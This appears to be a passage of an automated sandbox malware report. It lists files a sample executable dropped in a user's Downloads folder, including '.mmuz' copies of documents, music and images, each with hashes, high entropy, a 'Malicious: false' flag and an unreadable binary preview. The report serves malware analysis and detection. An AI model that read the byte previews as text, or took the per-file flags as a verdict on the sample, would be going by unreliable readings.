Preview:	ZQIXM!.G.v.;...n.\|...E"m.]&.N........b)....$.....\+..p{.....ho....su....M(&<..:....old.........................BD.~I...c_Xq..._.~CJ)..t.A........p.....a...6+.6tX.4.m....^....2m.+t=l9j.oop.........:8.../Dy2(..>4.s....p..............D.Zo.B.9....K.....S....a.U.M...c}..'.c.T.S..kIx....?P.&3s..,......uO?.w0....~He...JP..p.....W.!.....3e..E...2..q..{...$/....V...M.c..)..e\....,.\....q.u].znpC...4..4Q..\|.:[j..p.#%+..3!z;. ....L....}%...5....r.iv.S...V.{......:.....x....u.k`#l...(..7........D.}..7.2.(.D.^.>.U.~.5FT84..0..........+v}...e,...w.....Jn.i.......6U]lZ.Tz...S`....C...&.G...Yu..../.V....M).u0..b..il....,D<A.D=..i....a...p..F...=],...,.S.g..,.6...M.n`..tz.v{..?..Xv...?..-3...}^c....[@5..........pq..R...M.+g...2~.mGs..D..O...U1;n\....!M;..S.X...j.....".E9...........'.)p....4..... .>.l.W.#...Q3...M....A.!.....Q.m..>.\..@kD.M...ra....bw.(.=.{30...z..k...".iLl$...c.._lT..Ch..-q_..!ra..KE.?..\|\.p.i......&.a.l5.@..F....1...1.!.R_:.......Ti..

C:\Users\user\Downloads\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843501411152484
Encrypted:	false
SSDEEP:	24:q/r9z138aaLepOglUCbgV8r2/CJeb586k9l6b+NHTv3DBnKKIkbD:aRPaSgEUCbB2jN8lq+hLDBnVD
MD5:	BAFBD553FEB0AB9C2251D934151CD2F3
SHA1:	8BDBF47D486D9135456B58C5AF30A3AA59DDCA65
SHA-256:	D7CEE84CAB08785E0A77C17A9DB463897530BDF007327D63DE4C395BC65EC8BD
SHA-512:	C03B0CD4F7DE0D97EE901A234E9D9B09F8890C1C90D3010F34F4CCAF7DB852DC507C8CF230D4FB2EE99E4A7954DF3337C6130AAF4F95E2D45C6341EC26892C37
Malicious:	false
Preview:	BJZFPA...i.T.(L..HU......8...Q4q...1..;B.G.,v.S.P...Y).<v/.7{.T+.'.;...K.."...........2..n..C.]AUy.8cg.%.t...a!.I.@.;...A..x.......h....\.V^T31x+..FN.!..W4.)...#w"._...CoP!..T..H.l.q..U]........"+a....s...f#.....&sU.%4..0..O.G..%.7.j.>.ic$.....z.0.3........&2,,.u.%#..N.....6....xN..8m../.4-Z.V...L.+...$..5...t.....+...$!../w.8..t..#..Y...]}......-..xE....>+x.7i.......-..V..yb....1..7....\Cr~k..s......5h>..r..N.L[..,N.......[....?x.........@b...E.R.tUc...P....?..GO..[O.cD+..d.6....<m....>-...i..;.[Yf...g8s.a......K.rW$^..f.[0L.f.o.e(B...w..L)<5XD....bm..jx..HI..2k..D...^..H..1...4]J..'3eq../...j...#$.m.K/..jB.)D..<2.W....Ja7p..}....te.J.f..y.'.......Fx.;+...K.. @.1FJ.(8.k.[.,...V.Y..d\|..h..9..h.3....rhV....V....A.2...G..iVzO!..n..-.o.3.^.w&9..S....g.+\|.......U...,4..J>.Tz.Y.G_..~{:..........H.a.)/..>.....(gR..r5L(_.7..4....K....:.3.xm..G{./@.<......`.\|..s..k. .-L...-.k..uX-zlM..2]........P.oa.^.]>...Pi.>..'......4."st...W..o6.3.

C:\Users\user\Downloads\BJZFPPWAPT.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843501411152484
Encrypted:	false
SSDEEP:	24:q/r9z138aaLepOglUCbgV8r2/CJeb586k9l6b+NHTv3DBnKKIkbD:aRPaSgEUCbB2jN8lq+hLDBnVD
MD5:	BAFBD553FEB0AB9C2251D934151CD2F3
SHA1:	8BDBF47D486D9135456B58C5AF30A3AA59DDCA65
SHA-256:	D7CEE84CAB08785E0A77C17A9DB463897530BDF007327D63DE4C395BC65EC8BD
SHA-512:	C03B0CD4F7DE0D97EE901A234E9D9B09F8890C1C90D3010F34F4CCAF7DB852DC507C8CF230D4FB2EE99E4A7954DF3337C6130AAF4F95E2D45C6341EC26892C37
Malicious:	false
Preview:	BJZFPA...i.T.(L..HU......8...Q4q...1..;B.G.,v.S.P...Y).<v/.7{.T+.'.;...K.."...........2..n..C.]AUy.8cg.%.t...a!.I.@.;...A..x.......h....\.V^T31x+..FN.!..W4.)...#w"._...CoP!..T..H.l.q..U]........"+a....s...f#.....&sU.%4..0..O.G..%.7.j.>.ic$.....z.0.3........&2,,.u.%#..N.....6....xN..8m../.4-Z.V...L.+...$..5...t.....+...$!../w.8..t..#..Y...]}......-..xE....>+x.7i.......-..V..yb....1..7....\Cr~k..s......5h>..r..N.L[..,N.......[....?x.........@b...E.R.tUc...P....?..GO..[O.cD+..d.6....<m....>-...i..;.[Yf...g8s.a......K.rW$^..f.[0L.f.o.e(B...w..L)<5XD....bm..jx..HI..2k..D...^..H..1...4]J..'3eq../...j...#$.m.K/..jB.)D..<2.W....Ja7p..}....te.J.f..y.'.......Fx.;+...K.. @.1FJ.(8.k.[.,...V.Y..d\|..h..9..h.3....rhV....V....A.2...G..iVzO!..n..-.o.3.^.w&9..S....g.+\|.......U...,4..J>.Tz.Y.G_..~{:..........H.a.)/..>.....(gR..r5L(_.7..4....K....:.3.xm..G{./@.<......`.\|..s..k. .-L...-.k..uX-zlM..2]........P.oa.^.]>...Pi.>..'......4."st...W..o6.3.

C:\Users\user\Downloads\BNAGMGSPLO.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854610433704795
Encrypted:	false
SSDEEP:	24:xhI+vmUfx5VcGVvrjIwXr/zgombJl2MiDdGn/SzcHrKEYG+g/zkbD:xhI+vxSiEwb/zgPdlWG4KKEYGxCD
MD5:	30A8DDEFC0C11B9DB19F4756222E8688
SHA1:	355F70353FD62E67ED25E06EFB507F5F63365746
SHA-256:	BA701516087D02C0D4434AC2D35BD5C10B337ADAA0AABD24E39DFDC9D6D8442D
SHA-512:	9052E5474159A619EEC98E27AEFC7A6C2C37C7BDF632A7C875192D8E17E9F492EDF5707DF7E32D27EF3A04FA43860F76865011B0457850A8DA7DE749C10E50A6
Malicious:	false
Preview:	BNAGM.h...L.8.....f-4.e.....[..N.L....R..&,OH].Rc#.......C...g.m..".'VE.s.a......H.........F...6.+G.H.hPZj..?+....s.Z0.....w?.y.>c..8...H%q..R..8+D.a}.9./.....p.)s/...U\p..-.>..XE..\|s..@..]`A...k.Nu.sp.@..z2F)C0.Vx..t....z......Y.x......I..."UJ.(.V.b..d.%k(Ef......#(..i.V ._.#?...wf.r....d.T.]......_J..,N....._&`u...H.d'..p...H.E.)..QV..Q.4..!......}..........{.....;.j.W?...b..Z.i-...1H....M.^x!.....Ky...F...R...Q..L.ZW.vi...V....#."...!....h._;./J........=.....J..C"}..>.X].{.6.......w...Z...!.F......Y. ..2!s.[.\.~e.i-L.N.g\W.7;.9l...F.Ea...E..5[..P.......K...H...E....p.-nZ..3c1..CR...).C..[..F_...}x...9...Z.....X...C..X5.......7......"..RFV.P.)..".8...K%....f....n..w9YTO......^..cS...\|...WVjo...t4.Y.lb{y*'.n."..?..Y...6.sQ>...q...}X.S;.J..N....`.+...;.J..Xu....%.g%.........g...Z...'..<`q.It\.Nm...."..H....K.W.i.lJ0..d..1....R/.G.......'..@..74.....rI.hj.61...a..._.j...$.Y....HeX...MOkNYB....c.b....%....S,7.....+.M.Y..>.C..or....(.P..

C:\Users\user\Downloads\BNAGMGSPLO.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854610433704795
Encrypted:	false
SSDEEP:	24:xhI+vmUfx5VcGVvrjIwXr/zgombJl2MiDdGn/SzcHrKEYG+g/zkbD:xhI+vxSiEwb/zgPdlWG4KKEYGxCD
MD5:	30A8DDEFC0C11B9DB19F4756222E8688
SHA1:	355F70353FD62E67ED25E06EFB507F5F63365746
SHA-256:	BA701516087D02C0D4434AC2D35BD5C10B337ADAA0AABD24E39DFDC9D6D8442D
SHA-512:	9052E5474159A619EEC98E27AEFC7A6C2C37C7BDF632A7C875192D8E17E9F492EDF5707DF7E32D27EF3A04FA43860F76865011B0457850A8DA7DE749C10E50A6
Malicious:	false
Preview:	BNAGM.h...L.8.....f-4.e.....[..N.L....R..&,OH].Rc#.......C...g.m..".'VE.s.a......H.........F...6.+G.H.hPZj..?+....s.Z0.....w?.y.>c..8...H%q..R..8+D.a}.9./.....p.)s/...U\p..-.>..XE..\|s..@..]`A...k.Nu.sp.@..z2F)C0.Vx..t....z......Y.x......I..."UJ.(.V.b..d.%k(Ef......#(..i.V ._.#?...wf.r....d.T.]......_J..,N....._&`u...H.d'..p...H.E.)..QV..Q.4..!......}..........{.....;.j.W?...b..Z.i-...1H....M.^x!.....Ky...F...R...Q..L.ZW.vi...V....#."...!....h._;./J........=.....J..C"}..>.X].{.6.......w...Z...!.F......Y. ..2!s.[.\.~e.i-L.N.g\W.7;.9l...F.Ea...E..5[..P.......K...H...E....p.-nZ..3c1..CR...).C..[..F_...}x...9...Z.....X...C..X5.......7......"..RFV.P.)..".8...K%....f....n..w9YTO......^..cS...\|...WVjo...t4.Y.lb{y*'.n."..?..Y...6.sQ>...q...}X.S;.J..N....`.+...;.J..Xu....%.g%.........g...Z...'..<`q.It\.Nm...."..H....K.W.i.lJ0..d..1....R/.G.......'..@..74.....rI.hj.61...a..._.j...$.Y....HeX...MOkNYB....c.b....%....S,7.....+.M.Y..>.C..or....(.P..

C:\Users\user\Downloads\BNAGMGSPLO.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8473339448350865
Encrypted:	false
SSDEEP:	24:tbSYzmQM7HRzrlHfhXtnS3gyWcmDqRxBjsk2rIMT2Qr9cEpJvUBMgfMlQkbD:A7HRzJznS1VbGIYr9InutD
MD5:	D58CF81A0C328968338B4B2D1130ACDA
SHA1:	0EA6CE100F42BFB2068E8C6D1B063135FFC4D5BE
SHA-256:	91054924A9BDE8E6A20A43E602A6F949103AECA6838DDECAA088FCEF3D1B9D6C
SHA-512:	FE8027D17928C49445B20A918C39978130F162734058EB5F3FB816FFB5B5BA39A2ECE4B14709F6E0E12634F36C2F3DCA14A44E434C075332CF44030D1FC9C9F4
Malicious:	false
Preview:	BNAGM...0V'..`.P .....5D.)..bw.^..F.C).rE.}..;...f.4...uf..a.$l.F/U.....g.lNX..5l.P.f....5H...d.2.u..u..$Jm.....CA..(2.l...v!L1..c._....7..-....v&e ...:...j%....\|...U..\|..!...[.......X1...v...OXR.s......../M..)...H..j..@M..rb.o.^7..8f....{....Ai.3s.0......a....;...S.Ij..M...h[6.......G.\|....fg'"...E.$....2.T...Js.5)>.........+......N.m......_.....w.hk.+...diQ.e28...t....h.lGxy..'.~z...\h.q.t..V$.\..R.rg....>F$&......d.=...JTE........].i..0.....^...}....A.W.N[...Xm..8...%.t.Ing..[@.K...B.L.3.U.......) ...}.2.....'/.........mM..._......H...P....H?.>oJv-....<...-* ..S.5{{...f...........`X~...9.S~...U..k\.&:....pedB<D5.f.....X....t..F{.....C6..V...y.......gq.:....5z..w..m..35l. J`i..f.r....<f9...w.'...1.O...F...5.qo........k....Y.....r..!.......y..zJ.... ...../.7Q..}k.XaJ9....Wi.)..H.n./_..).M....?...&.....[W..b..r_>..C....c.....L..6.q."..'E.....X.V.X...Fy.5pU.......5.O\|$.'..Ui..r.........T.]g....q....0....uM.c!._...~&..O=.$..7L..\|

C:\Users\user\Downloads\BNAGMGSPLO.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8473339448350865
Encrypted:	false
SSDEEP:	24:tbSYzmQM7HRzrlHfhXtnS3gyWcmDqRxBjsk2rIMT2Qr9cEpJvUBMgfMlQkbD:A7HRzJznS1VbGIYr9InutD
MD5:	D58CF81A0C328968338B4B2D1130ACDA
SHA1:	0EA6CE100F42BFB2068E8C6D1B063135FFC4D5BE
SHA-256:	91054924A9BDE8E6A20A43E602A6F949103AECA6838DDECAA088FCEF3D1B9D6C
SHA-512:	FE8027D17928C49445B20A918C39978130F162734058EB5F3FB816FFB5B5BA39A2ECE4B14709F6E0E12634F36C2F3DCA14A44E434C075332CF44030D1FC9C9F4
Malicious:	false
Preview:	BNAGM...0V'..`.P .....5D.)..bw.^..F.C).rE.}..;...f.4...uf..a.$l.F/U.....g.lNX..5l.P.f....5H...d.2.u..u..$Jm.....CA..(2.l...v!L1..c._....7..-....v&e ...:...j%....\|...U..\|..!...[.......X1...v...OXR.s......../M..)...H..j..@M..rb.o.^7..8f....{....Ai.3s.0......a....;...S.Ij..M...h[6.......G.\|....fg'"...E.$....2.T...Js.5)>.........+......N.m......_.....w.hk.+...diQ.e28...t....h.lGxy..'.~z...\h.q.t..V$.\..R.rg....>F$&......d.=...JTE........].i..0.....^...}....A.W.N[...Xm..8...%.t.Ing..[@.K...B.L.3.U.......) ...}.2.....'/.........mM..._......H...P....H?.>oJv-....<...-* ..S.5{{...f...........`X~...9.S~...U..k\.&:....pedB<D5.f.....X....t..F{.....C6..V...y.......gq.:....5z..w..m..35l. J`i..f.r....<f9...w.'...1.O...F...5.qo........k....Y.....r..!.......y..zJ.... ...../.7Q..}k.XaJ9....Wi.)..H.n./_..).M....?...&.....[W..b..r_>..C....c.....L..6.q."..'E.....X.V.X...Fy.5pU.......5.O\|$.'..Ui..r.........T.]g....q....0....uM.c!._...~&..O=.$..7L..\|

C:\Users\user\Downloads\GAOBCVIQIJ.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828876866104002
Encrypted:	false
SSDEEP:	24:OcPvUhqNPT/8S7S60RDepftTDszrDXEdunYu4IUptagqBFS4nhxpeTkbD:OqNPYS76XDXCsxFXS6xYiD
MD5:	F6FF07FC3B520805341A39531FF34101
SHA1:	D68B8C4F0F0109B3AA60FF73AD52200DCE711F32
SHA-256:	7154E1727860DA7B52750B8A8C4488DB5E5D7FCE02914D0B23285ACA7610754D
SHA-512:	42540EF8C127D8A623F56430D3CF7C2B6F7149735CA328181FAB2A1C728EC24D78BFE3932D48DCB3433CE39080B49A730BE6E575EF34C616A1407E4D7B30FA7E
Malicious:	false
Preview:	GAOBC.C.B.O..u.MB/...k.hV..6u..r...P]r.'.T[....+p..R.."".....u=p..;y.\|p...!.U.>f..2.7....~.si......./...P.....Z.NU...Gl...E.!E+....PE;..l...z.QL..DD[4..W.Q".\|..G..+w.}...Tl..C.../..L....X....J.!.....$.A.fxa$U...}'.@B...:...1.Hy...!.i.l?.D%3t........69~...#.T..kh<%.F......>)...H...b.>...@./.6K.....g....p.......W8@..H<:.=c..oC...O,..i..E.C.Y..k....qT.P..R.6...a_...o.u8Pz..c.4..V.....t~#.......E....%..U.Sx9.....W...c.t}.....=s...\...m.....v....r...2:g].o...K.V...R_..I_u"v.l...."'.A....m._.`..I../Vi2..t.....!...#.Z`....>}$}wh.i{...cE....`....=..2F.!.c.....q.6...t...t.$.!...#..<..._.....NS..w....2..-....UQ...p>6......OH.:....j...5..U....K...p^I...I1..9GN.O....@.M..... ..l...E..!..;.<(.N....,.P..m.2..+....'.tV.=^"...M.i.l{V.E...<.h .....O .`..E..V_....)..4Q.....m....(..F......I...e.e+.....UF.\"....M..,\.)-V..t....mV..7....K.4J~..RH....f.(.7.P)...C...bk..}(...y./..$)s.....f...4.-).`..8..JT,x.\.MJ..0.N.]1...A.....0..]a.gf.+....*....."`d..a...tf..

C:\Users\user\Downloads\GAOBCVIQIJ.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828876866104002
Encrypted:	false
SSDEEP:	24:OcPvUhqNPT/8S7S60RDepftTDszrDXEdunYu4IUptagqBFS4nhxpeTkbD:OqNPYS76XDXCsxFXS6xYiD
MD5:	F6FF07FC3B520805341A39531FF34101
SHA1:	D68B8C4F0F0109B3AA60FF73AD52200DCE711F32
SHA-256:	7154E1727860DA7B52750B8A8C4488DB5E5D7FCE02914D0B23285ACA7610754D
SHA-512:	42540EF8C127D8A623F56430D3CF7C2B6F7149735CA328181FAB2A1C728EC24D78BFE3932D48DCB3433CE39080B49A730BE6E575EF34C616A1407E4D7B30FA7E
Malicious:	false
Preview:	GAOBC.C.B.O..u.MB/...k.hV..6u..r...P]r.'.T[....+p..R.."".....u=p..;y.\|p...!.U.>f..2.7....~.si......./...P.....Z.NU...Gl...E.!E+....PE;..l...z.QL..DD[4..W.Q".\|..G..+w.}...Tl..C.../..L....X....J.!.....$.A.fxa$U...}'.@B...:...1.Hy...!.i.l?.D%3t........69~...#.T..kh<%.F......>)...H...b.>...@./.6K.....g....p.......W8@..H<:.=c..oC...O,..i..E.C.Y..k....qT.P..R.6...a_...o.u8Pz..c.4..V.....t~#.......E....%..U.Sx9.....W...c.t}.....=s...\...m.....v....r...2:g].o...K.V...R_..I_u"v.l...."'.A....m._.`..I../Vi2..t.....!...#.Z`....>}$}wh.i{...cE....`....=..2F.!.c.....q.6...t...t.$.!...#..<..._.....NS..w....2..-....UQ...p>6......OH.:....j...5..U....K...p^I...I1..9GN.O....@.M..... ..l...E..!..;.<(.N....,.P..m.2..+....'.tV.=^"...M.i.l{V.E...<.h .....O .`..E..V_....)..4Q.....m....(..F......I...e.e+.....UF.\"....M..,\.)-V..t....mV..7....K.4J~..RH....f.(.7.P)...C...bk..}(...y./..$)s.....f...4.-).`..8..JT,x.\.MJ..0.N.]1...A.....0..]a.gf.+....*....."`d..a...tf..

C:\Users\user\Downloads\GAOBCVIQIJ.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826282806889153
Encrypted:	false
SSDEEP:	24:C170Lwwlc7ZSGIK5qhdZq/jlPvEIDTXhvU0ZQG4kbD:C14LwwBGIQqX0/j5DTRvU0Z11D
MD5:	8AE18615A0FD6B06E5A6A434C46FE88F
SHA1:	0D1E019C1673C5DF82F349F30373301F09871E18
SHA-256:	F0B6664B5D365CF91B9DF263ED2EB682A3923925CACA2520307D738DE355AD94
SHA-512:	50A8D57A839CD6F0D924928D0C9DD6F22C5D891C1BB29075359B4EFF6046CC8A2D9F744A7EAB625E02B3AB9A353DAFFF702CF6E0C324669738A514F31D5B7B6F
Malicious:	false
Preview:	GAOBC..>......xX...4m.:..1.!;.....5.....o.......o.%....u7A.r1r..03..l.6.I.a...E.....f.....m..\|DT-...oqny...,,.k.......l...y.{.T#:G.......p..A.S_...8....o....x..((.L.S..O^.u....7F..6....3(...X...XDj...2.p....D.....h.,..U..b'.~$..I.7.WD.i.m<&..!'...\|#EY.l..l...o...&D.}.Rw6Su`..S.d.....Nn......r.........2>..q.W...uJ%]..mv.4..........qGP/DM...r...,....yn.r.f{.j.......I...E...IkGth....Ep..m..R.rL.y..;.'...i..L........v......k...#..=...~l.i.re./... A"+]K..`.#XR..O/.=......3.5..=n.tA.......+.E.Z..$.Ot.&Iv.S.e..-.3...WPR..=.9FJ..pS.'....bR.7...X.39<7....g(....XB.f.c....5.....u.R.6.H..9..c.y.......Qv\....c.&..j......X.'.[..z...#..f..mi.;'8....0.......*..Qe.%.P^.......M....-0.6.o...G...B..f.A4...q.}..!.w...R .(.w7>>(.E..'o@.,.K....E."Y.....e...G.6.. <.\| lZ.V?..A..5..4.....(.S.)....h.E.R..$/0.3{.5..T..F..s...M.Y.......n.\|Z...........h..J..T....7;..:...."...n~Mo.C....cA..6..0.2,...C.O T:.........7p...e..5\|.0j.j.~...zb+Ju]h+;.}.s.,.E.......c.@9

C:\Users\user\Downloads\GAOBCVIQIJ.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826282806889153
Encrypted:	false
SSDEEP:	24:C170Lwwlc7ZSGIK5qhdZq/jlPvEIDTXhvU0ZQG4kbD:C14LwwBGIQqX0/j5DTRvU0Z11D
MD5:	8AE18615A0FD6B06E5A6A434C46FE88F
SHA1:	0D1E019C1673C5DF82F349F30373301F09871E18
SHA-256:	F0B6664B5D365CF91B9DF263ED2EB682A3923925CACA2520307D738DE355AD94
SHA-512:	50A8D57A839CD6F0D924928D0C9DD6F22C5D891C1BB29075359B4EFF6046CC8A2D9F744A7EAB625E02B3AB9A353DAFFF702CF6E0C324669738A514F31D5B7B6F
Malicious:	false
Preview:	GAOBC..>......xX...4m.:..1.!;.....5.....o.......o.%....u7A.r1r..03..l.6.I.a...E.....f.....m..\|DT-...oqny...,,.k.......l...y.{.T#:G.......p..A.S_...8....o....x..((.L.S..O^.u....7F..6....3(...X...XDj...2.p....D.....h.,..U..b'.~$..I.7.WD.i.m<&..!'...\|#EY.l..l...o...&D.}.Rw6Su`..S.d.....Nn......r.........2>..q.W...uJ%]..mv.4..........qGP/DM...r...,....yn.r.f{.j.......I...E...IkGth....Ep..m..R.rL.y..;.'...i..L........v......k...#..=...~l.i.re./... A"+]K..`.#XR..O/.=......3.5..=n.tA.......+.E.Z..$.Ot.&Iv.S.e..-.3...WPR..=.9FJ..pS.'....bR.7...X.39<7....g(....XB.f.c....5.....u.R.6.H..9..c.y.......Qv\....c.&..j......X.'.[..z...#..f..mi.;'8....0.......*..Qe.%.P^.......M....-0.6.o...G...B..f.A4...q.}..!.w...R .(.w7>>(.E..'o@.,.K....E."Y.....e...G.6.. <.\| lZ.V?..A..5..4.....(.S.)....h.E.R..$/0.3{.5..T..F..s...M.Y.......n.\|Z...........h..J..T....7;..:...."...n~Mo.C....cA..6..0.2,...C.O T:.........7p...e..5\|.0j.j.~...zb+Ju]h+;.}.s.,.E.......c.@9

C:\Users\user\Downloads\GAOBCVIQIJ.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84399003177116
Encrypted:	false
SSDEEP:	24:z1SYAHbC2cwefFbSfSqg11sAhrLzvKSLg1/h0y0FNyWilW/I/HPec/ykbD:BSVHW9weNbmSP19d3LWH0OhL/XD
MD5:	FD34205F1B617E220598EA4B7A48ECE5
SHA1:	A8FF2180A4FB20CC2D2FAFC813FE27CD4D4EF5A7
SHA-256:	93B6B9885CB1B31B4AFE0C4AC5637E72CDA30ECF93B25A1019B92A7A92DCD9F3
SHA-512:	43D45B07D3F5FA3D9FA9E353B7677A34BC97E34FE91C09152863D493894357931892BAC9DE45269CC6F7699FBF5FDC6C17F908FF2B8EE9D531D38494171D00F3
Malicious:	false
Preview:	GAOBC3a-.#K('..._...97Z...M......K9.5...{8/.hR..d.u-$e.....(w.+.FZg"...e..I..{G.V....8.....1 \..g0+b..6.ii..y..{x.p=.i......f..A....`uw..e.t...jD.QX..(Iq.)V8C.....a.).2...$.t.BZ8{..~4e.!%['..c..#.w...."=[(...9\..'#..R........F.".....Q.".V...%.p..MG7...xf8....d.8..$...N.e..M....WD`..-.9.e..!.J.^...RK...`...dA..b....i..\.xZ..v.'P......1.A.o.]<..f..*...h...."K......".....p.]..J..#O.l..f.......3.U..g..C../...m....!r^.CBV}F)%..........'tM+...9B.'..x.?~..EZ.m....`\.s..].........i...r.pi.....k...g1..y=_&.t ;h....P...`).].<....>L2......P........UO]..E.}.7..Eh....vT ..X3h..r\|S...-.1\....&...I.y...f...Bcv...6.p...g.6.}.J..@.....sf.rj9....1p..,ufI.h..(J..k..4..x'.PZ...l.Xl...9.....JhBe....$.F.w.V..<L..Jl.....\wzv.m..$i.....=.`.bG...z..q.F..........2./I.W~..4=2".%......\LR.&H.X......g.z..d..uy..kZy..{..A...r..C:...M....hI./.......9.ue.q.....`..G....O...'.b.........]Y...`.F... }...#...8B#j...y-U.!i?\|....n=.!...].....}....P4...cC...V..Jp...L~..j..0.

C:\Users\user\Downloads\GAOBCVIQIJ.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84399003177116
Encrypted:	false
SSDEEP:	24:z1SYAHbC2cwefFbSfSqg11sAhrLzvKSLg1/h0y0FNyWilW/I/HPec/ykbD:BSVHW9weNbmSP19d3LWH0OhL/XD
MD5:	FD34205F1B617E220598EA4B7A48ECE5
SHA1:	A8FF2180A4FB20CC2D2FAFC813FE27CD4D4EF5A7
SHA-256:	93B6B9885CB1B31B4AFE0C4AC5637E72CDA30ECF93B25A1019B92A7A92DCD9F3
SHA-512:	43D45B07D3F5FA3D9FA9E353B7677A34BC97E34FE91C09152863D493894357931892BAC9DE45269CC6F7699FBF5FDC6C17F908FF2B8EE9D531D38494171D00F3
Malicious:	false
Preview:	GAOBC3a-.#K('..._...97Z...M......K9.5...{8/.hR..d.u-$e.....(w.+.FZg"...e..I..{G.V....8.....1 \..g0+b..6.ii..y..{x.p=.i......f..A....`uw..e.t...jD.QX..(Iq.)V8C.....a.).2...$.t.BZ8{..~4e.!%['..c..#.w...."=[(...9\..'#..R........F.".....Q.".V...%.p..MG7...xf8....d.8..$...N.e..M....WD`..-.9.e..!.J.^...RK...`...dA..b....i..\.xZ..v.'P......1.A.o.]<..f..*...h...."K......".....p.]..J..#O.l..f.......3.U..g..C../...m....!r^.CBV}F)%..........'tM+...9B.'..x.?~..EZ.m....`\.s..].........i...r.pi.....k...g1..y=_&.t ;h....P...`).].<....>L2......P........UO]..E.}.7..Eh....vT ..X3h..r\|S...-.1\....&...I.y...f...Bcv...6.p...g.6.}.J..@.....sf.rj9....1p..,ufI.h..(J..k..4..x'.PZ...l.Xl...9.....JhBe....$.F.w.V..<L..Jl.....\wzv.m..$i.....=.`.bG...z..q.F..........2./I.W~..4=2".%......\LR.&H.X......g.z..d..uy..kZy..{..A...r..C:...M....hI./.......9.ue.q.....`..G....O...'.b.........]Y...`.F... }...#...8B#j...y-U.!i?\|....n=.!...].....}....P4...cC...V..Jp...L~..j..0.

C:\Users\user\Downloads\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833133294671064
Encrypted:	false
SSDEEP:	24:FVDukTxlR+l9bCIzmKE9yEjdJ2rXhkw8Y7O/dLKm87cTVBTZDykbD:Fl1Txf+SIKdjRJ2mY6d+4ZBTZDXD
MD5:	DFCF7761DADBE09E2F15DF1A6C4266EB
SHA1:	158C2A047F6793F48D4173EA1C954D38567CFF83
SHA-256:	BF8D4C3C6A331DC6993269D76542E952097A1EE0F135E068E85E6613739A45AE
SHA-512:	F7E23E513037F05915F25F2ED3AF4DCB4C1DF6905FEE9C22B58A59109439FCED2467B98118F4FF9A70A925687AE252DC251CF54DAF307692FF578B1337ECD83B
Malicious:	false
Preview:	IPKGE..5t...0.Y.o.5.!...^h..z.J../dK....&q...+.c].W.c....3.o..t...h.P.i..?.?W.....Q.T.ma.joi.GC..ZsoHFJt..D.3Gb...GZ.....)4w...v.%a.J.......7....UY.Xq.=....:e.c.E]..........uP\|71e....:......<.....,;M.....H...0<..N!......)..P.w6.1p>E..[..D.aqf$}I.e...3Y.Q.Ab.$..E..KH<......v....q.kb.x....x..e..a..od....z.....4.....y. ... @..".J.\|.o.....k.....sz...P..0\|E..e.h..JSj.[.\......f\|...9{...$.x<N..`<..9. ;.U.s.%..p0..)>Z..R~"P....u...=.xO.+.45..e...../cU.T.......7.J.7..S..D.....(..........E...........O...4..e..*.H....w.+....Q.+.......gj.B..<....y...j.}[.Z..a.+.ci...E..u..F...3..B.B.p...0/.H...7........h...C(.^.....'.}<.+.R.r.b..&..,.s.;.....W/c+2....ee...#.=-I..P..."....y.}...@N<1"....G......%j.KE?..z@.....w...!5\|.s..W.p.\|.3>oH4YC.S.......R9u......W..u[c.,.M.d..oV`.+.x'.+.0.>...e..oD..E..1...f.u...K....!.WH}yd._.7oF.D.....y..7{...\...K.DQ...'r..7..0..2r.I....e..eF..C3U)8n.`:d..<..._MZj.T..,?i$..>....N....2..A\.%.&.jE.55.7..{...Dg<..b..=.v.5.

C:\Users\user\Downloads\IPKGELNTQY.docx.mmuz (copy)

Download File

